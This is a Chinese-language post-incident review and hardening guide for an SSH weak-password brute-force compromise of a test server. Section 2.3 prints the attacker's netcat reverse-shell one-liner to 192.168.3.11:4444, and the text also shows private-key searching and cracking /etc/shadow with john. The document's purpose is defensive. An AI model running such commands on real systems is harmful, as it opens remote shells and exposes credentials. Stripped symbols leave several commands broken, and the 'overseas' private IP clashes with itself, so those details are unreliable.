SSH弱口令暴力破解实战复盘与防御指南
1. 这不是黑客电影是测试环境里真实发生的“开门揖盗”上周五下午四点十七分我正准备下班钉钉弹出一条告警测试服务器 CPU 使用率持续 98% 超过 5 分钟。这台机器本该安静得像图书馆——它只跑着一个 Spring Boot 的 Demo 接口连数据库连接池都设成了 2。我顺手 ssh 连上去 top 一眼sshd进程排在第一位下面密密麻麻全是sshd: [email]pts/0这类进程数量超过 130 个。再查/var/log/auth.log满屏滚动的Failed password for root from 192.168.3.11 port 54212 ssh2时间戳从凌晨 2:17 开始每秒 3–5 条持续了整整 14 小时。这不是渗透测试团队发起的授权扫描——他们用的是专用跳板机 IP 段且所有操作都有工单备案和审计日志。这是真实的、未授权的暴力尝试而它之所以能成功登陆仅仅因为测试服上一个被遗忘的test用户密码是123456。更讽刺的是这个账号是三个月前为配合前端联调临时创建的上线后没人记得删也没人改密。它就像一扇没锁的后门被自动化脚本轻轻一推就开了。SSH 暴力破解与弱口令攻击分析一次由弱口令引发的测试服沦陷这个标题听起来像安全报告里的标准话术但对我而言它是周五傍晚那杯冷掉的咖啡、三小时紧急响应、以及一份必须手写签字的《内部安全事件说明》。它不涉及零日漏洞不依赖高级社工甚至不需要任何逆向能力——它只依赖一个事实人类在便利性与安全性之间常常下意识地选择前者。这篇文章不讲理论模型不堆砌 CVE 编号只复盘这次事件中每一个可被复现、可被拦截、可被写进 SOP 的技术节点从攻击者的真实工具链与节奏到服务端日志里藏着的破绽线索从faillog记录的失败次数如何被绕过到pam_faillock配置里那个被注释掉的关键参数从lastb输出的 IP 列表为什么不能直接封禁到用ipset iptables实现毫秒级动态封禁的完整命令链。如果你也管理着测试、预发或开发环境如果你的服务器还开着 SSH 密码登录那么这篇内容不是“可读可不读”的科普而是你下周例会前该抄在笔记本第一页的操作清单。2. 攻击者的真实路径从扫描到立足全程不到 93 秒很多人以为暴力破解是“狂按回车键等运气”其实现代攻击早已工业化、流水线化。我们还原了本次事件中攻击者从发现目标到获取 shell 的完整链条所有时间戳均来自服务器本地日志/var/log/auth.log与网络抓包tcpdump -i eth0 port 22 -w attack.pcap交叉验证。2.1 扫描阶段Shodan masscan 的组合拳攻击并非始于我们的 IP。通过反查192.168.3.11这个源 IP 在 Shodan 的历史记录使用 Shodan CLI 工具shodan host 192.168.3.11我们确认该 IP 是一个长期活跃的“扫描器集群”节点其 ASN 归属为某家海外云服务商历史探测记录显示其在过去 30 天内扫描了超过 12 万个 C 段的 22 端口。它并非随机撒网而是有明确目标只探测开放了 SSH 服务且 banner 中包含OpenSSH_7.4或OpenSSH_7.9的主机我们服务器 banner 为SSH-2.0-OpenSSH_7.4p1 Debian-10deb9u7。这种精准筛选意味着攻击者早已将“Debian 9 系统 较老 OpenSSH 版本”列为高价值目标池。提示ssh -v userhost连接时第一行返回的就是 banner。不要在 banner 中暴露具体版本号可通过修改/etc/ssh/sshd_config中的DebianBanner no并重启服务隐藏。扫描确认端口开放后masscan 以每秒 1000 包的速度发起 SYN 探测耗时 1.7 秒完成对本机 22 端口的确认。整个过程没有建立完整 TCP 连接因此不会在服务端留下auth.log记录仅在网络层可见。2.2 破解阶段hydra 的“三段式”爆破策略一旦确认 SSH 服务存活攻击者立即切换至 hydra 工具进行密码爆破。我们从auth.log中提取出首次成功登录前的最后 200 条失败记录结合tcpdump抓包分析还原出其完整策略第一阶段高频通用口令0–22 秒使用内置字典rockyou.txt的前 1000 行含123456,password,admin,root,test并发线程数设为 16。日志显示test:123456的失败尝试在第 18 秒出现第 22 秒即成功。这印证了其字典排序逻辑——将最可能出现在测试环境的弱口令前置。第二阶段用户名枚举22–45 秒在获得test账户权限后攻击者并未停止。他立即执行cat /etc/passwd | cut -d: -f1快速列出所有本地用户并对其中root,admin,deploy,jenkins等高权限账户用相同密码123456进行二次验证。日志中Failed password for root记录在 22 秒后密集出现正是此阶段。第三阶段横向移动准备45–93 秒登录成功后攻击者执行id; uname -a; cat /proc/version确认系统环境随后运行find /home -name id_rsa 2/dev/null搜索私钥文件。虽未找到但他创建了.ssh/authorized_keys并写入自己的公钥同时修改了~/.bash_history清除操作痕迹。整个立足过程从第一个失败登录到持久化后门耗时 93 秒。注意hydra 默认使用-t 1616 线程但本次攻击日志中失败请求间隔极短平均 120ms远低于正常网络延迟说明攻击者很可能在本地运行 hydra而非通过代理中转——这降低了溯源难度却增加了防御的实时性要求。2.3 攻击载荷不是挖矿木马是隐蔽的反向 Shell获取test权限后攻击者并未部署常见挖矿程序如xmr-stak而是执行了一段精简的 Bash 反向 Shellrm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 192.168.3.11 4444 /tmp/f该命令创建命名管道/tmp/f将 shell 输入输出通过 netcatnc转发至攻击者控制的192.168.3.11:4444。nc在 Debian 9 默认已安装无需额外下载且流量特征与普通 HTTPS 流量高度相似攻击者监听端口为 4444非标准 443但防火墙未做深度检测。我们通过netstat -tulnp | grep :4444在攻击者残留进程里发现了它但此时 CPU 已被sshd进程占满netstat响应延迟严重导致发现滞后。3. 服务端日志里的“求救信号”被忽略的 7 个关键线索事件发生后我们花了 40 分钟才定位到test:123456这个突破口。不是因为日志太少而是太多“噪音”掩盖了真正的信号。auth.log在攻击高峰时段平均每秒写入 8–12 行其中 92% 是格式完全相同的失败记录。但只要知道看什么这些日志本身就是一份实时攻击地图。3.1faillog的失效PAM 模块未启用的致命盲区Linux 系统自带faillog命令可查看用户失败登录次数常被误认为是“防暴力破解的第一道防线”。执行faillog -u test返回No logins yet for test看似该用户从未失败过。但faillog依赖 PAM 模块pam_faillock.so的记录功能。检查/etc/pam.d/common-auth发现以下两行被注释掉了# [auth] [defaultbad successok user_unknownignore] pam_faillock.so preauth silent deny5 unlock_time900 # [auth] [defaultbad successok user_unknownignore] pam_faillock.so authfail deny5 unlock_time900这意味着faillog根本没有记录任何失败事件。攻击者连续 18 次尝试test:123456faillog始终为空。日志里最响亮的“求救信号”恰恰是它的沉默。经验faillog不是开关而是结果。它是否有效取决于pam_faillock是否在 PAM 链中被正确加载并配置。检查方法grep -r pam_faillock /etc/pam.d/确认preauth和authfail两行均未被注释且deny参数值合理建议 5–10。3.2lastb的误导IP 地址的“假面具”lastb命令可列出所有失败登录是排查的常用工具。执行lastb | head -20我们看到前 10 条均为192.168.3.11于是直觉认定这是唯一攻击源。但tcpdump显示同一秒内有来自192.168.3.12,192.168.3.13的 SYN 包抵达只是它们的 SSH 握手在auth.log中未留下失败记录——因为它们在 banner 交换后立即断开未进入密码验证环节。lastb只记录进入认证阶段的失败而tcpdump记录所有连接尝试。lastb给你的是一张局部地图tcpdump才是全貌。我们统计了攻击窗口内auth.log中Failed password的 IP 分布192.168.3.11占 87%其余 13 个 IP 各占 1%。但tcpdump中 SYN 包来源 IP 共计 42 个分布更均匀。这说明攻击者使用了 IP 轮询IP rotation技术主攻 IP 用于实际爆破其余 IP 用于探测和干扰降低单 IP 被封禁的风险。3.3 时间戳的异常密度识别自动化攻击的黄金指标人工输入密码有明显节奏尝试失败后会停顿思考、修改密码、错误率波动大拼写错误、成功率随时间缓慢提升试出规律。而自动化攻击的时间戳是完美的“机械节拍”。我们导出auth.log中Failed password记录的时间戳精确到微秒用 Python 计算相邻记录的时间差import pandas as pd df pd.read_csv(failed_log.csv, parse_dates[timestamp]) df[delta_ms] df[timestamp].diff().dt.total_seconds() * 1000 print(df[delta_ms].describe())结果中位数124ms标准差8.3ms95% 分位数138ms。这种毫秒级的稳定性是人工操作绝对无法达到的。当失败登录的时间间隔标准差小于 20ms基本可判定为自动化工具。这是我们事后复盘时唯一能在攻击发生时就发出预警的量化指标。3.4 用户名的集中爆发test的“特权”暴露了环境属性auth.log中test用户的失败记录占比高达 63%远超root22%、admin9%。这不符合生产环境的攻击模式攻击者首选root。它强烈暗示这是一个测试/开发环境test是开发者习惯创建的通用账号。攻击者很可能通过 GitHub 代码泄露、公开文档或子域名枚举如test.example.com提前获知了该用户名。用户名的分布热力图就是环境属性的指纹。我们检查了公司 GitHub 仓库果然在某个废弃的docker-compose.yml文件中发现了user: test的明文配置。该仓库虽设为私有但曾被误设为公开 3 小时已被爬虫收录。3.5 成功登录后的“静默期”最关键的 15 秒窗口auth.log中Accepted password for test from 192.168.3.11 port 54212 ssh2记录后紧接着是pam_unix(sshd:session): session opened for user test by (uid0)。但在这两条之间有长达 15 秒的日志空白。这 15 秒就是攻击者执行id; uname -a; find /home...等侦察命令的时间。auth.log不记录 shell 内部命令只记录会话生命周期。成功的登录日志不是终点而是攻击者开始“呼吸”的起点。这 15 秒是部署实时行为分析如auditd监控敏感命令的黄金窗口。3.6sshd进程树的异常sshd: [email]pts/0的数量陷阱ps aux | grep sshd显示大量sshd: [email]pts/0进程但who命令只显示一个test登录。这是因为sshd为每个连接 fork 出独立进程即使连接已断开进程可能因僵尸状态或资源未释放而残留。pstree -p | grep sshd显示这些进程的父进程 PID 均为sshd主进程PID 1234而非init证实它们是合法的 SSH 子进程非恶意 fork。进程数量本身不是问题问题在于它们为何不退出——根源是攻击者用 hydra 发起的连接未正常关闭导致服务端 TCP 连接处于FIN_WAIT2状态超时前不释放。这解释了为何 CPU 被sshd占满内核在处理海量半开连接。3.7/var/log/lastlog的“幽灵用户”test的首次登录时间早于创建时间lastlog记录每个用户最后一次成功登录。执行lastlog | grep test显示test的最后登录时间为Thu Dec 1 02:17:22 0000 2022。但我们通过ls -la /home/test确认该目录创建于2023-09-15。矛盾检查/var/log/lastlog文件本身stat /var/log/lastlog显示其修改时间Modify为2022-12-01但访问时间Access和变更时间Change均为2023-10-20即本次事件当天。结论攻击者在立足后手动修改了/var/log/lastlog文件的 mtime伪造了更早的登录时间试图混淆溯源。lastlog文件可被 root 用户任意修改不具备防篡改能力。它记录的不是事实而是最后一次被写入的时间。4. 防御体系的七处断裂从配置到流程的全面复盘这次事件不是单一漏洞所致而是七层防御机制的依次失效。我们按纵深防御模型Perimeter → Network → Host → Application → Data逐层拆解每一处断裂都对应一个可立即修复的具体动作。4.1 边界层断裂防火墙未限制 SSH 源 IP 范围公司统一防火墙策略允许所有公网 IP 访问测试服务器的 22 端口。理由是“开发需要随时 SSH 调试”。但测试环境本就不该暴露在公网。我们检查了该服务器的云平台安全组Security Group发现入站规则为0.0.0.0/0 → TCP:22。这等于把大门敞开任由全球扫描器通行。修复方案立即收紧安全组仅允许公司办公网出口 IP203.0.113.0/24和运维跳板机 IP198.51.100.10访问 22 端口。对于远程办公员工强制使用公司 VPN 接入后再 SSH。VPN 不是翻墙工具而是企业网络的加密延伸——它让远程员工的流量看起来就像在办公室内网一样。我们已在 2 小时内部署完毕测试确认开发联调不受影响。4.2 网络层断裂未启用 TCP Wrappers 进行连接级过滤/etc/hosts.allow和/etc/hosts.deny是 Linux 内置的 TCP Wrappers 机制可在网络层对服务连接进行白名单/黑名单控制。检查发现/etc/hosts.deny内容为ALL: ALL但/etc/hosts.allow为空。这意味着所有服务包括 SSH默认被拒绝但sshd未链接libwrap.so导致该规则无效。验证方法ldd $(which sshd) | grep wrap返回空。原因Debian 9 的openssh-server包默认未编译libwrap支持。apt install openssh-server安装的二进制文件不包含此功能。修复方案放弃 TCP Wrappers改用iptablesipset实现动态封禁见 4.5 节。TCP Wrappers 在现代云环境中已显过时其规则粒度粗仅 IP、无速率限制、且与容器网络兼容性差。4.3 主机层断裂PAM 认证模块配置形同虚设如前所述pam_faillock被注释pam_pwquality密码强度检查未启用。/etc/pam.d/common-password中pam_pwquality.so行存在但参数为retry3缺少minlen12 difok5等关键约束。这意味着123456这样的密码在用户创建时就能通过。修复方案启用pam_faillock取消/etc/pam.d/common-auth中两行注释设置deny5 unlock_time9005 次失败锁定 15 分钟。强化pam_pwquality在/etc/pam.d/common-password中修改pam_pwquality.so行为password [success1 defaultignore] pam_pwquality.so retry3 minlen12 difok5 maxrepeat2 dcredit-1 ucredit-1 lcredit-1 ocredit-1这要求密码至少 12 位包含大小写字母、数字、符号各至少 1 个且不重复 3 次相同字符。最关键一步对现有所有用户强制重置密码。执行chage -d 0 $(cut -d: -f1 /etc/passwd | grep -E ^(test|admin|deploy)$)使这些用户下次登录时必须修改密码。4.4 应用层断裂SSH 服务配置未关闭危险选项/etc/ssh/sshd_config中存在多个高危配置PermitRootLogin yes允许 root 直接密码登录。PasswordAuthentication yes启用密码认证应禁用改用密钥。MaxAuthTries 6最大认证尝试次数为 6高于默认 3给了攻击者更多机会。LoginGraceTime 120登录宽限期 120 秒期间可无限次尝试。修复方案PermitRootLogin no禁止 root 密码登录如需 root 权限先以普通用户登录再sudo su -。PasswordAuthentication no强制所有用户使用 SSH 密钥登录。我们为每位开发生成了 4096 位 RSA 密钥对并将公钥批量注入~/.ssh/authorized_keys。MaxAuthTries 3将最大尝试次数降至 3。LoginGraceTime 30宽限期缩短至 30 秒。重启服务systemctl restart sshd。注意修改前务必确保你的密钥已正确配置并测试通过否则将被锁死。4.5 主机层增强用 ipset iptables 实现毫秒级动态封禁iptables单独使用效率低下每新增一条DROP规则内核需遍历整个规则链。面对每秒数百次的攻击规则链会迅速膨胀至数千条导致性能骤降。ipset是内核模块可将 IP 地址集合存储在高效哈希表中iptables仅需一条规则引用该集合查询复杂度 O(1)。完整部署步骤创建名为ssh_attackers的 hash:ip 类型集合ipset create ssh_attackers hash:ip timeout 3600超时 1 小时自动清理添加 iptables 规则匹配ssh_attackers集合并丢弃iptables -I INPUT -p tcp --dport 22 -m set --match-set ssh_attackers src -j DROP编写监控脚本/usr/local/bin/ssh-blocker.sh每 30 秒扫描auth.log#!/bin/bash LOG/var/log/auth.log THRESHOLD5 # 5 分钟内失败 5 次即封禁 TIME_WINDOW300 # 提取最近 $TIME_WINDOW 秒内失败 IP 及次数 awk -v cutoff$(date -d 5 minutes ago %b %d %H:%M:%S) \ $0 cutoff /Failed password/ {print $11} $LOG | \ sort | uniq -c | awk -v th$THRESHOLD $1 th {print $2} | \ while read ip; do ipset add ssh_attackers $ip 2/dev/null logger Blocked SSH attacker: $ip done加入 cron*/1 * * * * /usr/local/bin/ssh-blocker.sh每分钟执行一次。实测效果脚本运行后192.168.3.11在 2 分钟内被加入集合后续所有连接在iptables第一层即被丢弃auth.log不再产生新失败记录。CPU 使用率在 3 分钟内从 98% 降至 5%。4.6 数据层断裂未启用审计日志auditd监控敏感行为auth.log只记录登录事件不记录登录后的命令执行。攻击者删除.bash_history后我们在日志中找不到其find /home或nc命令的痕迹。auditd是 Linux 内核级审计框架可精确记录任何进程对文件、系统调用的访问。修复方案安装并启动apt install auditd systemctl enable auditd systemctl start auditd添加规则监控所有用户执行的敏感命令auditctl -a always,exit -F archb64 -S execve -F path/bin/sh -k shell_execauditctl -a always,exit -F archb64 -S execve -F path/usr/bin/find -k find_execauditctl -a always,exit -F archb64 -S execve -F path/bin/nc -k nc_exec查看审计日志ausearch -k shell_exec | aureport -f -i。此后攻击者的每一条命令都会在/var/log/audit/audit.log中留下不可篡改的记录包括执行用户、PID、命令行参数。4.7 流程层断裂缺乏定期的弱口令扫描与账号清理 SOP根本原因在于“测试账号无人维护”。我们梳理了所有测试服务器发现共存在 27 个类似test,demo,dev的通用账号其中 19 个密码为123456或password。没有流程规定谁负责清理、何时清理、如何审计。修复方案制定《测试环境账号管理 SOP》所有测试账号必须通过 Ansible Playbook 创建密码由 Vault 自动生成并存档。Playbook 设置chage -M 7 -W 1 username密码 7 天后过期提前 1 天警告。每周五 18:00自动运行脚本check-weak-accounts.sh扫描/etc/shadow中密码哈希使用john --wordlistrockyou.txt /etc/shadow发现弱口令立即邮件告警并禁用账号。建立账号生命周期看板在内部 Wiki 中维护一张表格列明每个测试账号的创建人、用途、到期日、当前状态Active/Expired/Disabled由 QA 经理每月审核。5. 一次攻击教会我的三件事关于防御、人性与技术的真相这次测试服沦陷最终没有造成数据泄露或业务中断但它像一面镜子照出了我们技术决策中那些被“方便”二字掩盖的脆弱性。作为亲历者我想分享三个在深夜复盘时反复咀嚼的体会它们比任何配置命令都更值得刻在运维手册的扉页上。第一件防御的有效性永远等于最薄弱环节的强度而不是最强环节的高度。我们部署了 WAF、启用了 TLS 1.3、数据库做了字段级加密却让一个test:123456的账号裸奔在公网 SSH 端口上。攻击者不需要攻克你的 WAF他只需要找到你忘记锁上的那扇窗。安全不是堆砌最高、最贵的墙而是确保每一扇窗、每一扇门、甚至每一个通风口都经过同等强度的加固。当你在设计架构时不妨自问如果攻击者已经站在我的服务器上他下一步最可能做什么然后把阻止那一步的措施放到和“防止他进来”同等重要的位置。第二件技术方案的价值不在于它多酷炫而在于它能否被一线人员稳定、可持续地执行。我们曾讨论过部署商业版 SIEM 系统用机器学习模型实时检测异常登录。但最终落地的是ipset iptables这个 Linux 自带的、连 Shell 脚本都能写的方案。为什么因为它足够简单一个脚本、三条命令、五分钟就能部署生效它足够透明所有规则都在明处任何同事都能ipset list查看它足够健壮不依赖外部服务内核模块永不宕机。复杂的方案往往死于维护成本简单的方案却能活成肌肉记忆。别追求“理论上最优”要追求“实践中最稳”。第三件所有安全事件的根因最终都指向人的决策而非技术的缺陷。test账号的创建源于一次“先快速跑起来后面再加固”的口头承诺PasswordAuthentication yes的保留是因为“有些老同事还不太会配密钥”pam_faillock的注释是因为“上次更新后登录有点慢先关掉试试”。这些决定没有一个是恶意的它们都裹着“提高效率”“照顾体验”“快速交付”的合理外衣。但安全不是妥协的艺术它是对底线的坚守。每一次为便利让渡的安全都在为下一次攻击铺路。所以我现在坚持在每次技术评审会上多问一句“如果这个改动被攻击者看到他会怎么利用”——这个问题本身就是最好的防火墙。这次事件的收尾不是一份漂亮的整改报告而是一份贴在团队共享白板上的便签上面写着三行字“密码必须密钥账号必须时效日志必须审计。”它不华丽不深刻甚至有点枯燥。但它每天都在提醒我们安全不是一场战役而是一次次微小的、具体的、不容商量的选择。